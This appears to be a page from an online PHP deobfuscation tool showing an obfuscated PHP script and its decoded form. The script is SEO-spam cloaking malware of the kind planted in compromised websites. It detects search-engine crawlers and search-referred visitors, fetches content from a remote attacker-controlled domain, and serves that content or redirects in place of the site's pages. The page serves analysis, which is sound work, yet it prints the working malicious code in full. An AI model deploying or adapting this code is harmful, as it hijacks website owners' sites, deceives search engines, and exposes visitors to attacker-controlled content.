Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto kyEBB; sZQgY: dC47f(FFnRc); goto s5T5I; UEq4a: define("\x76\x47\104\x52\x41",..
Decoded Output download
<?php
goto kyEBB; sZQgY: dC47f(FFnRc); goto s5T5I; UEq4a: define("vGDRA", $_SERVER["HTTP_REFERER"]); goto lee_d; kyEBB: function T9YGs() { goto HhBNw; aWPZa: return true; goto IWjiX; taEPV: return true; goto b5xFW; r_piu: GPuwX: goto taEPV; xPV86: if (empty($sghQS)) { goto GPuwX; } goto q9OUU; XY0tC: dHkVb: goto aWPZa; HhBNw: $sghQS = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto xPV86; IWjiX: goto eJVWe; goto r_piu; q9OUU: if (!(strpos($_SERVER["HTTP_USER_AGENT"], "Googlebot") !== false && ($_SERVER["REQUEST_URI"] == "/" || $_SERVER["REQUEST_URI"] == ''))) { goto dHkVb; } goto VsAQ3; VsAQ3: return false; goto XY0tC; b5xFW: eJVWe: goto UwxLK; UwxLK: } goto Ox5AX; iyaJl: ob_start(); goto YKeU5; Lv9d0: if ($g0k6e == 1) { goto R_2Hs; } goto CcTgh; YKeU5: error_reporting(0); goto UEq4a; aDhow: $g0k6e = 1; goto yuROg; LVzBD: die; goto bI5fU; McNZY: define("uXOQY", $_SERVER["REQUEST_URI"]); goto i1CAE; yuROg: $dIKAI = trim(p2s4b()); goto zA1Xo; dU4cD: echo $foSHf; goto LVzBD; hPTvE: goto cel3U; goto CW3XH; f1K21: define("Uwnf9", "http://vntfhakqiglaq.okwinapp.vip/"); goto e1wks; rEzDf: eJWi0: goto hPTvE; hXGIY: $foSHf = file_get_contents("http://vntfhakqiglaq.okwinapp.vip/503.php"); goto dU4cD; zA1Xo: $FAW59 = array("google", "bing", "yahoo", "duckduckgo", "yandex", "sanook"); goto Lv9d0; tcmdi: t9Ygs(); goto iyaJl; eZPim: function Dc47F($nSdmI) { goto gJbFl; LZ6XD: foreach ($LpIR3 as $ccSGI) { goto HRhGU; ciLYE: DatjZ: goto nBmHm; HAXbR: $foSHf = str_replace("{}", FGshM(), $foSHf); goto IKEHC; lfVNm: $foSHf = file_get_contents(Uwnf9 . "/?gov=" . $n9J25 . "&host=" . broaY); goto bOmV3; K4iw5: $foSHf = file_get_contents(Uwnf9 . uXOQY . "&host=" . broaY); goto HAXbR; IKEHC: GKz2G: goto jODYq; yTlrq: MGmHV: goto vWGl2; Wd3ot: if (!empty($n9J25[2])) { goto c6Caj; } goto e1HOb; gSfa3: if (sWGer()) { goto uzWPw; } goto aRHFk; vWGl2: $n9J25 = $n9J25[1]; goto AW1i2; HRhGU: if (!(stripos($nSdmI, $ccSGI) !== false)) { goto uTo2i; } goto gSfa3; AJSLx: echo $foSHf; goto ppz01; P32Ee: $n9J25 = explode("/", uXOQY); goto Wd3ot; vFLyk: if (strpos(uXOQY, "?") !== false) { goto jT8fY; } goto P32Ee; Pj635: uTo2i: goto ciLYE; eAr98: goto GKz2G; goto s3VEf; bOmV3: $foSHf = str_replace("{}", fGShM(), $foSHf); goto eAr98; jODYq: exit($foSHf); goto YyFqN; vmg7N: goto zkaic; goto yTlrq; Wfmnj: $n9J25 = ''; goto vmg7N; ppz01: goto JuzrM; goto baQmE; baQmE: uzWPw: goto vFLyk; aRHFk: $foSHf = file_get_contents(Uwnf9 . "/?index2121=true" . "&host=" . broaY); goto AJSLx; AW1i2: zkaic: goto NPS5Z; NPS5Z: goto eGkcU; goto HpKvx; Am2hc: eGkcU: goto lfVNm; e1HOb: if (!empty($n9J25[1])) { goto MGmHV; } goto Wfmnj; HpKvx: c6Caj: goto LUewg; s3VEf: jT8fY: goto K4iw5; LUewg: $n9J25 = $n9J25[2]; goto Am2hc; YyFqN: JuzrM: goto Pj635; nBmHm: } goto x0R35; sXRIW: return false; goto hPkLJ; AXbdd: $LpIR3 = array("Googlebot", "Bingbot", "Yahoo! Slurp", "DuckDuckBot", "YandexBot"); goto LZ6XD; gJbFl: global $dIKAI; goto AXbdd; x0R35: jUVk9: goto sXRIW; hPkLJ: } goto PIaMS; CcTgh: if (!($g0k6e == 0)) { goto eJWi0; } goto nXrSH; dVNLd: $foSHf = str_replace("{}", fgshM(), $foSHf); goto Hk52C; PIaMS: cel3U: goto RSC9j; lyblp: function p2s4b() { goto XBpRV; B2XuA: return implode("&", $Jxmqw); goto KnwJz; yVvES: foreach ($_GET as $kQKzs => $NjF8V) { $Jxmqw[] = "{$kQKzs}={$NjF8V}"; Y2uPM: } goto qTGOQ; qTGOQ: Qmjy9: goto B2XuA; XBpRV: $xm3Fr = http_build_query($_GET); goto ja4Jg; ja4Jg: $Jxmqw = []; goto yVvES; KnwJz: } goto punXr; bI5fU: quvoJ: goto tcmdi; Ox5AX: if (!(t9YgS() === false)) { goto quvoJ; } goto hXGIY; e1wks: define("broaY", $_SERVER["HTTP_HOST"]); goto aDhow; Hk52C: exit($foSHf); goto rEzDf; nXrSH: $foSHf = file_get_contents(Uwnf9 . uXOQY); goto dVNLd; CW3XH: R_2Hs: goto eZPim; RSC9j: function h1hko() { goto q9bUi; P7VqZ: if (!vGDRA) { goto IbcLE; } goto yHiOa; a1tXH: IbcLE: goto T8mRm; yHiOa: foreach ($FAW59 as $NjF8V) { goto Z0Qzm; Uorl8: $foSHf = file_get_contents(Uwnf9 . "/?jump1212=true"); goto O3UZk; O3UZk: exit($foSHf); goto Bpmkg; wIGXs: fbXFB: goto mvDam; Z0Qzm: if (!(swger() && stristr(vGDRA, $NjF8V))) { goto UPccb; } goto Uorl8; Bpmkg: UPccb: goto wIGXs; mvDam: } goto sRos3; sRos3: wu4pA: goto a1tXH; q9bUi: global $FAW59; goto P7VqZ; T8mRm: } goto lyblp; punXr: function FGshm() { goto qDmwT; zDIKZ: return urldecode($dIKAI); goto vA_aF; qDmwT: $ZdHDu = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] != "off" ? "https://" : "http://"; goto fAx6N; ZQKkL: $dIKAI = $ZdHDu . $zsOGs . $EUVUA; goto zDIKZ; Gmijj: $EUVUA = $_SERVER["REQUEST_URI"]; goto ZQKkL; fAx6N: $zsOGs = $_SERVER["HTTP_HOST"]; goto Gmijj; vA_aF: } goto Z7pK4; i1CAE: define("FFnRc", $_SERVER["HTTP_USER_AGENT"]); goto f1K21; lee_d: define("QXK_7", $_SERVER["HTTP_HOST"]); goto McNZY; Z7pK4: function SWger() { goto QDdr7; GkINL: O_bgS: goto Vk7Lg; QDdr7: if (!($_SERVER["REQUEST_URI"] != '' && $_SERVER["REQUEST_URI"] != "/index.php" && $_SERVER["REQUEST_URI"] != null && $_SERVER["REQUEST_URI"] != "/" && $_SERVER["REQUEST_URI"] != "/index.html")) { goto O_bgS; } goto EtvCj; EtvCj: return true; goto GkINL; Vk7Lg: } goto sZQgY; s5T5I: H1hKo();?>
Did this file decode correctly?
Original Code
<?php
goto kyEBB; sZQgY: dC47f(FFnRc); goto s5T5I; UEq4a: define("\x76\x47\104\x52\x41", $_SERVER["\110\124\124\120\x5f\122\105\x46\105\x52\x45\122"]); goto lee_d; kyEBB: function T9YGs() { goto HhBNw; aWPZa: return true; goto IWjiX; taEPV: return true; goto b5xFW; r_piu: GPuwX: goto taEPV; xPV86: if (empty($sghQS)) { goto GPuwX; } goto q9OUU; XY0tC: dHkVb: goto aWPZa; HhBNw: $sghQS = isset($_SERVER["\x48\124\124\x50\x5f\x52\x45\106\x45\122\x45\122"]) ? $_SERVER["\x48\x54\x54\x50\x5f\122\105\x46\105\122\105\122"] : ''; goto xPV86; IWjiX: goto eJVWe; goto r_piu; q9OUU: if (!(strpos($_SERVER["\110\124\x54\x50\137\x55\123\105\122\x5f\x41\x47\x45\116\x54"], "\107\157\157\x67\154\145\x62\x6f\x74") !== false && ($_SERVER["\x52\105\121\x55\x45\x53\124\x5f\x55\x52\x49"] == "\57" || $_SERVER["\x52\x45\x51\125\x45\123\124\137\x55\x52\111"] == ''))) { goto dHkVb; } goto VsAQ3; VsAQ3: return false; goto XY0tC; b5xFW: eJVWe: goto UwxLK; UwxLK: } goto Ox5AX; iyaJl: ob_start(); goto YKeU5; Lv9d0: if ($g0k6e == 1) { goto R_2Hs; } goto CcTgh; YKeU5: error_reporting(0); goto UEq4a; aDhow: $g0k6e = 1; goto yuROg; LVzBD: die; goto bI5fU; McNZY: define("\165\x58\117\x51\131", $_SERVER["\122\x45\121\125\105\123\124\137\x55\x52\111"]); goto i1CAE; yuROg: $dIKAI = trim(p2s4b()); goto zA1Xo; dU4cD: echo $foSHf; goto LVzBD; hPTvE: goto cel3U; goto CW3XH; f1K21: define("\x55\x77\156\146\71", "\150\164\x74\x70\72\57\57\x76\x6e\164\146\150\141\x6b\161\151\x67\x6c\141\161\x2e\x6f\x6b\x77\151\156\141\160\160\x2e\166\x69\x70\57"); goto e1wks; rEzDf: eJWi0: goto hPTvE; hXGIY: $foSHf = file_get_contents("\x68\x74\x74\x70\72\57\57\166\156\x74\146\x68\141\x6b\161\x69\147\x6c\141\x71\x2e\x6f\x6b\167\151\156\141\160\x70\x2e\166\151\160\57\65\x30\63\56\160\150\160"); goto dU4cD; zA1Xo: $FAW59 = array("\x67\x6f\x6f\147\x6c\145", "\142\151\x6e\147", "\x79\x61\x68\157\157", "\x64\165\x63\x6b\144\x75\143\x6b\x67\x6f", "\x79\x61\156\x64\145\x78", "\163\141\156\x6f\157\x6b"); goto Lv9d0; tcmdi: t9Ygs(); goto iyaJl; eZPim: function Dc47F($nSdmI) { goto gJbFl; LZ6XD: foreach ($LpIR3 as $ccSGI) { goto HRhGU; ciLYE: DatjZ: goto nBmHm; HAXbR: $foSHf = str_replace("\173\xe5\xbd\x93\xe5\x89\x8d\345\x9f\x9f\xe5\x90\x8d\x7d", FGshM(), $foSHf); goto IKEHC; lfVNm: $foSHf = file_get_contents(Uwnf9 . "\57\x3f\x67\x6f\166\x3d" . $n9J25 . "\46\150\x6f\x73\164\x3d" . broaY); goto bOmV3; K4iw5: $foSHf = file_get_contents(Uwnf9 . uXOQY . "\x26\150\x6f\x73\164\75" . broaY); goto HAXbR; IKEHC: GKz2G: goto jODYq; yTlrq: MGmHV: goto vWGl2; Wd3ot: if (!empty($n9J25[2])) { goto c6Caj; } goto e1HOb; gSfa3: if (sWGer()) { goto uzWPw; } goto aRHFk; vWGl2: $n9J25 = $n9J25[1]; goto AW1i2; HRhGU: if (!(stripos($nSdmI, $ccSGI) !== false)) { goto uTo2i; } goto gSfa3; AJSLx: echo $foSHf; goto ppz01; P32Ee: $n9J25 = explode("\x2f", uXOQY); goto Wd3ot; vFLyk: if (strpos(uXOQY, "\77") !== false) { goto jT8fY; } goto P32Ee; Pj635: uTo2i: goto ciLYE; eAr98: goto GKz2G; goto s3VEf; bOmV3: $foSHf = str_replace("\173\345\275\x93\345\x89\215\xe5\237\237\xe5\x90\x8d\175", fGShM(), $foSHf); goto eAr98; jODYq: exit($foSHf); goto YyFqN; vmg7N: goto zkaic; goto yTlrq; Wfmnj: $n9J25 = ''; goto vmg7N; ppz01: goto JuzrM; goto baQmE; baQmE: uzWPw: goto vFLyk; aRHFk: $foSHf = file_get_contents(Uwnf9 . "\x2f\x3f\x69\x6e\x64\145\170\x32\61\x32\61\75\x74\x72\x75\x65" . "\46\150\x6f\x73\164\x3d" . broaY); goto AJSLx; AW1i2: zkaic: goto NPS5Z; NPS5Z: goto eGkcU; goto HpKvx; Am2hc: eGkcU: goto lfVNm; e1HOb: if (!empty($n9J25[1])) { goto MGmHV; } goto Wfmnj; HpKvx: c6Caj: goto LUewg; s3VEf: jT8fY: goto K4iw5; LUewg: $n9J25 = $n9J25[2]; goto Am2hc; YyFqN: JuzrM: goto Pj635; nBmHm: } goto x0R35; sXRIW: return false; goto hPkLJ; AXbdd: $LpIR3 = array("\107\157\157\147\x6c\145\x62\x6f\x74", "\102\151\x6e\147\142\157\164", "\131\141\x68\x6f\157\x21\40\123\154\x75\162\160", "\x44\165\143\x6b\x44\165\x63\x6b\102\x6f\x74", "\x59\141\x6e\x64\145\170\x42\157\x74"); goto LZ6XD; gJbFl: global $dIKAI; goto AXbdd; x0R35: jUVk9: goto sXRIW; hPkLJ: } goto PIaMS; CcTgh: if (!($g0k6e == 0)) { goto eJWi0; } goto nXrSH; dVNLd: $foSHf = str_replace("\x7b\xe5\275\x93\xe5\x89\215\345\x9f\237\345\220\215\175", fgshM(), $foSHf); goto Hk52C; PIaMS: cel3U: goto RSC9j; lyblp: function p2s4b() { goto XBpRV; B2XuA: return implode("\x26", $Jxmqw); goto KnwJz; yVvES: foreach ($_GET as $kQKzs => $NjF8V) { $Jxmqw[] = "{$kQKzs}\x3d{$NjF8V}"; Y2uPM: } goto qTGOQ; qTGOQ: Qmjy9: goto B2XuA; XBpRV: $xm3Fr = http_build_query($_GET); goto ja4Jg; ja4Jg: $Jxmqw = []; goto yVvES; KnwJz: } goto punXr; bI5fU: quvoJ: goto tcmdi; Ox5AX: if (!(t9YgS() === false)) { goto quvoJ; } goto hXGIY; e1wks: define("\x62\x72\x6f\141\x59", $_SERVER["\x48\124\x54\120\x5f\x48\x4f\x53\x54"]); goto aDhow; Hk52C: exit($foSHf); goto rEzDf; nXrSH: $foSHf = file_get_contents(Uwnf9 . uXOQY); goto dVNLd; CW3XH: R_2Hs: goto eZPim; RSC9j: function h1hko() { goto q9bUi; P7VqZ: if (!vGDRA) { goto IbcLE; } goto yHiOa; a1tXH: IbcLE: goto T8mRm; yHiOa: foreach ($FAW59 as $NjF8V) { goto Z0Qzm; Uorl8: $foSHf = file_get_contents(Uwnf9 . "\57\77\152\x75\155\160\x31\62\x31\62\75\x74\x72\165\145"); goto O3UZk; O3UZk: exit($foSHf); goto Bpmkg; wIGXs: fbXFB: goto mvDam; Z0Qzm: if (!(swger() && stristr(vGDRA, $NjF8V))) { goto UPccb; } goto Uorl8; Bpmkg: UPccb: goto wIGXs; mvDam: } goto sRos3; sRos3: wu4pA: goto a1tXH; q9bUi: global $FAW59; goto P7VqZ; T8mRm: } goto lyblp; punXr: function FGshm() { goto qDmwT; zDIKZ: return urldecode($dIKAI); goto vA_aF; qDmwT: $ZdHDu = isset($_SERVER["\x48\124\x54\120\123"]) && $_SERVER["\x48\x54\124\120\123"] != "\x6f\146\146" ? "\x68\x74\x74\160\x73\72\x2f\x2f" : "\x68\x74\x74\x70\x3a\x2f\57"; goto fAx6N; ZQKkL: $dIKAI = $ZdHDu . $zsOGs . $EUVUA; goto zDIKZ; Gmijj: $EUVUA = $_SERVER["\122\x45\121\125\105\123\x54\137\x55\x52\x49"]; goto ZQKkL; fAx6N: $zsOGs = $_SERVER["\x48\124\x54\x50\137\x48\117\x53\x54"]; goto Gmijj; vA_aF: } goto Z7pK4; i1CAE: define("\106\106\x6e\x52\x63", $_SERVER["\110\124\x54\x50\x5f\x55\x53\105\122\137\101\x47\x45\x4e\124"]); goto f1K21; lee_d: define("\121\x58\113\x5f\x37", $_SERVER["\x48\124\x54\120\137\x48\117\x53\124"]); goto McNZY; Z7pK4: function SWger() { goto QDdr7; GkINL: O_bgS: goto Vk7Lg; QDdr7: if (!($_SERVER["\122\105\x51\x55\105\x53\124\x5f\125\122\111"] != '' && $_SERVER["\x52\x45\x51\125\x45\x53\124\x5f\125\122\x49"] != "\57\x69\156\144\x65\170\x2e\160\x68\160" && $_SERVER["\x52\x45\x51\125\105\123\x54\137\x55\122\x49"] != null && $_SERVER["\x52\105\x51\x55\105\123\124\137\125\122\111"] != "\57" && $_SERVER["\122\105\121\125\105\x53\x54\137\x55\x52\x49"] != "\57\151\156\x64\145\170\56\x68\x74\155\154")) { goto O_bgS; } goto EtvCj; EtvCj: return true; goto GkINL; Vk7Lg: } goto sZQgY; s5T5I: H1hKo();?>
Function Calls
None |
Stats
MD5 | 8375611a0b602878d38bcbe888ef8e08 |
Eval Count | 0 |
Decode Time | 85 ms |